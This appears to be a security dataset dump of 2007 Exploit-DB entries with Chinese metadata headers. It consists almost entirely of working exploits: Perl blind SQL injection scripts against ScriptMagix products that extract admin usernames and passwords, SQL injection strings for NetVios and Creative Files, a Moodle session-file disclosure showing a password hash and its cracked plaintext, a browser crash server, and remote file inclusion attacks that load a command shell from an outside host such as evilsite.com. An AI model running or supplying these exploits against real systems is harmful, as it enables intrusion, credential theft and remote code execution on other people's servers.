QLWD/code_shield huggingface dataset:
标题: NetVIOS Portal - 'page.asp' SQL Injection EDB-ID: 3520 CVE: 2007-1566 2006-5954 类型: WEBAPPS 平台: ASP 发布日期: 2007-03-19 漏洞利用脚本: *******************************************************************************
# Title   :  NetVios Portal (page.asp) Remote SQL Injection Vulnerability
# Author  :  parad0x
# Contact :  :(
# D.Page  :  http://www.scriptaty.net/netvios-portal.html
# $$      :  Free
#S.Page : http://www.netvios.com
*******************************************************************************
http://[target]/[path]/News/page.asp?NewsID=[SQL]

Example:

//News/page.asp?NewsID=-1 union select 0,1,2,loginname,password,5,6,7 from users where userId=1

"""""""""""""""""""""
greetz : VoLqaN, x-MastER

"""""""""""""""""""""

# milw0rm.com [2007-03-19] URL: https://www.exploit-db.com/exploits/3520
标题: ScriptMagix Lyrics 2.0 - 'index.php?recid' SQL Injection EDB-ID: 3515 CVE: 2007-1616 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-19 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: ScriptMagix Lyrics <= 2.0 (index.php recid) Remote Blind SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.scriptmagix.com
#[$$         : 35$
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//   ScriptMagix Lyrics <= 2.0 (index.php recid) Remote Blind SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/index.php?cmd=6&recid=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%200,concat(char(117,115,101,114,110,97,109,101,58),username,char(112,97,115,115,119,111,114,100,58),password),0,0,0,0%20from%20admin/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<br>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-19] URL: https://www.exploit-db.com/exploits/3515
标题: ScriptMagix Jokes 2.0 - 'index.php?catid' SQL Injection EDB-ID: 3509 CVE: 2007-1615 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-18 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: ScriptMagix Jokes <= 2.0 (index.php catid) Remote Blind SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.scriptmagix.com
#[$$         : 35$
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//   ScriptMagix Jokes <= 2.0 (index.php catid) Remote Blind SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/index.php?catid=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%200,1,2,0,0,0,0,7,6,concat(char(117,115,101,114,110,97,109,101,58),username,char(112,97,115,115,119,111,114,100,58),password),4,3%20from%20admin/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<\/a>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-18] URL: https://www.exploit-db.com/exploits/3509
标题: Moodle 1.5.2 - 'moodledata' Remote Session Disclosure EDB-ID: 3508 CVE: 2007-1647 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-18 漏洞利用脚本: --/ INTRODUCTION  --


/*
 *
 * Advisory           : MOODLE <= 1.5.2 user password read out
 * Release Date       : 17. March 2007
 * Application        : Moodle.org is a course management system (CMS) 
 *        : to help educators create effective online learning communities.
 * Impact             : read out user account passwords in md5 hash
 * Googledork       : "inurl:moodledata"
 * Author             : xSh[at]overclock.ch
 *
 */


--/    SUMMARY    --

Moodle is a course management system (CMS) - a free, Open Source 
software package designed using sound pedagogical principles, to 
help educators create effective online learning communities. You 
can download and use it on any computer you have handy (including 
webhosts), yet it can scale from a single-teacher site to a 
50,000-student University. (www.moodle.org)


--/   REPRODUCE   --

The moodle CMS is located at 'www.TARGET.com/moodle' and the moodle
database at 'www.TARGET.com/moodledata' including uploads, temp and
session files. We're interested to get the session files, created 
by each user:

http://www.TARGET.com/moodledata/sessions/

Filename:

sess_280c9fca6458bf24277cf03c45d2a770

Content: (> 2KB)

SESSION|O:6:"object":12:{s:12:"session_test";s:10:"zN0PiMhwWK";s:8:"encoding";
s:10:"iso-8859-1";s:7:"fromurl";s:69:"http://www.TARGET.com/moodle/mod/forum/
view.php?id=100";s:10:"logincount";i:1;s:18:"cal_course_referer";i:0;s:15:"cal
_show_global";b:1;s:15:"cal_show_groups";b:1;s:15:"cal_show_course";b:1;s:13:"
cal_show_user";b:1;s:17:"cal_courses_shown";a:2:{i:1;b:1;i:9;b:1;}s:15:"cal_u
sers_shown";s:2:"86";s:14:"fromdiscussion";s:64:"http://www.TARGET.com/moodle/
course/view.php?id=9";}USER|O:8:"stdClass":94:{i:0;s:2:"86";s:2:"id";s:2:"86";
i:1;s:5:"email";s:4:"auth";s:5:"email";i:2;s:1:"1";s:9:"confirmed";s:1:"1";i:
3;s:1:"0";s:12:"policyagreed";s:1:"0";i:4;s:1:"0";s:7:"deleted";s:1:"0";i:5;s:
33:"victim@target.com";s:8:"username";s:33:"victim@target.com";i:6;s:32:"bb07c
989b57c25fd7e53395c3e118185";s:8:"password";s:32:"bb07c989b57c25fd7e53395c3e118185";
i:7;N;s:8:"idnumber";N;i:8;s:9:"Victim";s:9:"firstname";s:9:"Victim";i:9;s:5:
"Victim";s:8:"lastname";s:5:"Victim";i:10;s:33:"victim@target.com";s:5:"email";


In cryptography, MD5 (Message-Digest algorithm 5) is a widely-used cryptographic 
hash function with a 128-bit hash value. (md5 online crack: http://gdataonline.com)

Password (md5 string) = bb07c989b57c25fd7e53395c3e118185
Password (plain text) = Claudia


--     PATCH     /--

Don't allow Directory listing. There are no other possibilities actually as far as I know.

# milw0rm.com [2007-03-18] URL: https://www.exploit-db.com/exploits/3508
标题: Avant Browser 11.0 build 26 - Remote Stack Overflow Crash EDB-ID: 3514 CVE: 2007-1501 类型: DOS 平台: WINDOWS 发布日期: 2007-03-18 漏洞利用脚本: #!/usr/bin/perl
# Avant Browser (ALL Version) Remot Stack OverFlow (Crash)
# Discovered by DATA_SNIPER
# Usage:
# connect from Avant browser to http://127.0.0.1/
use IO::Socket;
my $sock=new IO::Socket::INET (
Listen    => 1,
                                
LocalAddr => 'localhost',
                                
LocalPort => 80,
                               
Proto     => 'tcp');
die unless $sock;
$huge="A" x 1034985;
$|=1;
print "==========================================================================\n";
print "        Avant Browser (ALL Version) Remot Stack OverFlow (Crash)
";
print "                 Vulnerability Discovered by DATA_SNIPER
";
print "   GreetZ To:Hacking Master,Dear Devil,Xodia,JASS,All Algerian Hackers \n";
print "               Mail me at:Alpha_3(at)hotmail(dot)com\n";
print "==========================================================================\n";
print"[+] Http server started on port  80... \n";
print"[+] Try To Explorer http://127.0.0.1/ \n";
$z=$sock->accept();
print"[+] Connection Accepted!\n";
do
{
 $ln=<$z>;
 
print $ln;
 chomp $ln;
 
 if (($ln eq "")||($ln eq "\n")||($ln eq "\r"))
 {
  
print"[>]Sending Evil Packet\n";
  
print $z " HTTP/1.1 200 OK\r\nServer: bugs 3.1.02\r\nContent-Type:$huge\r\nConnection: close\r\n\r\n";
close($z);
  
exit;
 
}
} while (true);

# milw0rm.com [2007-03-18] URL: https://www.exploit-db.com/exploits/3514
标题: ScriptMagix Recipes 2.0 - 'index.php?catid' SQL Injection EDB-ID: 3510 CVE: 2007-1617 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-18 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: ScriptMagix Recipes <= 2.0 (index.php catid) Remote Blind SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.scriptmagix.com
#[$$         : 35$
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//   ScriptMagix Recipes <= 2.0 (index.php catid) Remote Blind SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/index.php?catid=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%200,1,2,3,4,5,6,7,1,2,concat(char(117,115,101,114,110,97,109,101,58),username,char(112,97,115,115,119,111,114,100,58),password),4,0%20from%20admin/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<\/a>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-18] URL: https://www.exploit-db.com/exploits/3510
标题: ScriptMagix Photo Rating 2.0 - SQL Injection EDB-ID: 3511 CVE: 2007-1619 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-18 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: ScriptMagix Photo Rating <= 2.0 (viewcomments.php) Remote Blind SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.scriptmagix.com
#[$$         : 75$
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//   ScriptMagix Photo Rating <= 2.0 (viewcomments.php) Remote Blind SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/viewcomments.php?phid=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%200,concat(char(117,115,101,114,110,97,109,101,58),username,char(112,97,115,115,119,111,114,100,58),password),2,3,0,0%20from%20admin/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<\/td>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-18] URL: https://www.exploit-db.com/exploits/3511
标题: ScriptMagix FAQ Builder 2.0 - 'index.php' SQL Injection EDB-ID: 3507 CVE: 2007-1618 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-18 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: ScriptMagix FAQ Builder <= 2.0 (index.php) Remote Blind SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.scriptmagix.com
#[$$         : 50$
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//    ScriptMagix FAQ Builder <= 2.0 (index.php) Remote Blind SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/index.php?cmd=2&catid=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%200,1,2,3,4,5,concat(char(117,115,101,114,110,97,109,101,58),username,char(112,97,115,115,119,111,114,100,58),password),7,8,0,0,0,0,0,0%20from%20admin/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<br>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-18] URL: https://www.exploit-db.com/exploits/3507
标题: PHP-Nuke - 'iframe.php' Remote File Inclusion EDB-ID: 3512 CVE: 2007-1626 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-18 漏洞利用脚本: ######################################################
#
# iFRAME for PhpNuke (iframe.php) Remote File Include Vulnerabilities
#
######################################################
#
# script :http://www.desarrollonuke.org
#         http://up.9q9q.net/up/index.php?f=uTRRQnIjG
#
######################################################
#
# file :  iframe.php
#
######################################################
#
# Dork : "/nuke/iframe.php"
#
######################################################
#
# Found by & Contact : Cold z3ro , Cold-z3ro@hotmail.com ,
http://hack-teach.com/
#
######################################################
#       if(substr($file,-4)!=".htm" && substr($file,-5)!=".html" &&
substr($file,-4)!=".php"){
#                       echo "ERROR: ONLY html, htm or php FILES";
#                       CloseTable();
#               } else {
#               include ($file);
#               }
#
######################################################
#
# exploit :
http://www.example.com/nuke_path/iframe.php?file=ftp://user:pass@evilsite.com/public_html/shell.html (or) .htm
#
######################################################


----  GreeTz: |MoHaNdKo|  |Cold One|  |Cold ThreE| |Viper Hacker| |The Wolf
KSA| |o0xxdark0o| |OrGanza| |H@mLiT| |Snake12| |Root Shell|
             |Metoovit| |Fucker_net| |Rageb| |CoDeR| |HuGe| |Str0ke|
|Dr.TaiGaR| |BLacK HackErD| |JEeN HacKer| |Nazy L!unx| |KURTEFENDY|
             |Spid1r Net| |Big Hacker| |Hacccr| |hacoor| || |Geniral C|
|Mr.TyrAnT| |Zax| |Zooz| | Al 3afreat | |The-Falcon-Ksa|
             | The Sniper | . ||| Team Hell ||| | DearMan | |Pro Hacker| |
020 | | abdulla00 " alz3eem" | | The_Viper |
             All i know


#Big Thx For : www.4azhar.com , Viva My HomeLand Palestine

# milw0rm.com [2007-03-18] URL: https://www.exploit-db.com/exploits/3512
标题: Active PHP Bookmark Notes 0.2.5 - Remote File Inclusion EDB-ID: 3504 CVE: 2007-1621 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-17 漏洞利用脚本: #!/usr/bin/perl
# Active PHP Bookmark Notes 0.2.5 <= Remote  File Inclusion Exploit
# Download S: http://sourceforge.net/projects/apbn/
# Discovered & Coded by: GloD_M = [Mahmood_ali]
# perl GloD.pl <target> <cmd shell location> <cmd shell variable>
# cmd shell example: <?passthru($_GET[cmd]);?>
# Ex:
# http://localhost/apbn/templates/head.php?APB_SETTINGS[template_path]=http://localhost/tryag.txt
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
      print "[shell] \$";
while(<STDIN>)
      {
              $cmd=$_;
              chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'templates/head.php?APB_SETTINGS[template_path]='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
      {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
      $finreturn = $1;
      $finreturn=~ tr/[....]/[\n]/;
      print "\r\n$finreturn\n\r";
      last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *  Active PHP Bookmark Notes 0.2.5 <= Remote  File Inclusion Exploit  *\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl Gold.pl <Victim> <Cmd Shell Location> <Cmd Shell Variable>\r\n\n";
 print " <Site> - Full path to example: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to Cmd Shell e.g http://spy-art.com/xx.txt? \r\n";
 print " <cmd variable> - Command Variable Used In Php Shell \r\n";
 print "============================================================================\r\n";
 print "                             By Mahmood_ali \r\n";
 print "                            HackEr_(at)w(dot)cN \r\n";
 print "          Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2007-03-17] URL: https://www.exploit-db.com/exploits/3504
标题: Creative Files 1.2 - 'kommentare.php' SQL Injection EDB-ID: 3498 CVE: 2007-1556 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-16 漏洞利用脚本: ======================X=O=R=O=N=====================
+
+ Creative Files 1.2 (kommentare.php)  Remote SQL Injection Vulnerabilities
+
======================X=O=R=O=N=====================
+
+ Bulan: xoron
+
+ xoron.biz
+
======================X=O=R=O=N=====================
+
+ SQL INJ:
+
+ kommentare.php?dlid=-1/**/UNION/**/SELECT/**/null,null,null,name,null,PASSWORD,null/**/FROM/**/user/*
+
======================X=O=R=O=N=====================
+
+ Vendor site: http://www.thecreativeheads.de/CreativeFiles/downloads.php
+
======================X=O=R=O=N=====================
+
+ Thnx: pang0, unique
+
======================X=O=R=O=N=====================

# milw0rm.com [2007-03-16] URL: https://www.exploit-db.com/exploits/3498